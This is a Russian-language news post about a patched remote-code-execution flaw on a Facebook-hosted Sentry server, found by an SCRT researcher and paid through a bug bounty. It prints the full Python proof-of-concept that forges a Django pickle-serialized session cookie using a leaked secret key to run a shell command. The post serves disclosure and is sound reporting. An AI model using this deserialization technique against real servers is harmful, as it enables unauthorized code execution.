Написать пост

ИБ-специалист из SCRT обнаружил возможность удаленного запуска кода на серверах Facebook

Аватар Тимур Кондратьев

Проблема с безопасностью сервиса по сбору логов Sentry, написанного с помощью Python-фреймворка Django, позволила подделать сессию и запустить PoC-скрипт.

Даниэль Ле Галл (Daniel Le Gall), сотрудник компании в области кибербезопасности SCRT, рассказал о найденной им уязвимости в одном из серверов Facebook. Проблема заключается в работе веб-приложения Sentry для хранения логов, написанном на Python с использованием фреймворка Django. Специалисты Facebook уже залатали брешь в безопасности сервера.

Дыра в Sentry

Даниэль обнаружил проблему во время сканирования IP-адресов, принадлежащих социальной сети. На одном из них находился сервис Sentry с именем хоста sentryagreements.thefacebook.com. При рассмотрении приложения специалист заметил трассировку стека, появляющуюся по неожиданной причине, и проблемы с функцией сброса пользовательского пароля. По его словам, режим отладки Django не был отключен, поэтому трассировка раскрыла все окружение программы:

ИБ-специалист из SCRT обнаружил возможность удаленного запуска кода на серверах Facebook 1

Покопавшись в списке вызванных методов, специалист SCRT обнаружил среди ключей среды SESSION_SERIALIZER, который относился к методу django.contrib.sessions.serializers.PickleSerializer. Даниэль уточнил, что с помощью подделки сессии, содержащей произвольный контент бинарного протокола Pickle для сериализации объектов в Python, в системе можно запустить любой код. Для доступа к сессии ему был необходим секретный ключ Django, который оказался в списке настроек Sentry в незашифрованном виде под названием system.secret-key:

ИБ-специалист из SCRT обнаружил возможность удаленного запуска кода на серверах Facebook 2

Эксплуатация уязвимости

Исследователь написал proof-of-concept-скрипт, который менял существующее содержимое cookie-файлов sentrysid на произвольный объект и заставлял страницу загружаться на 30 секунд дольше:

			#!/usr/bin/python
import django.core.signing, django.contrib.sessions.serializers
from django.http import HttpResponse
import cPickle
import os

SECRET_KEY='[RETRIEVEDKEY]'
#Initial cookie I had on sentry when trying to reset a password
cookie='gAJ9cQFYCgAAAHRlc3Rjb29raWVxAlgGAAAAd29ya2VkcQNzLg:1fjsBy:FdZ8oz3sQBnx2TPyncNt0LoyiAw'
newContent =  django.core.signing.loads(cookie,key=SECRET_KEY,serializer=django.contrib.sessions.serializers.PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies')
class PickleRce(object):
    def __reduce__(self):
        return (os.system,("sleep 30",))
newContent['testcookie'] = PickleRce()

print django.core.signing.dumps(newContent,key=SECRET_KEY,serializer=django.contrib.sessions.serializers.PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies',compress=True)
		

После чего он отправил Facebook информацию об уязвимости и получил 5000 $ в рамках программы Bug Bounty. Специалисты компании устранили брешь через 10 дней после получения уведомления.

Программа поиска проблем с безопасностью в Facebook занимает 3 место среди самых высокооплачиваемых инициатив Bug Bounty. Минимальная выплата составляет 500 $, а потолка у вознаграждений нет.

Следите за новыми постами
Следите за новыми постами по любимым темам
740 открытий741 показов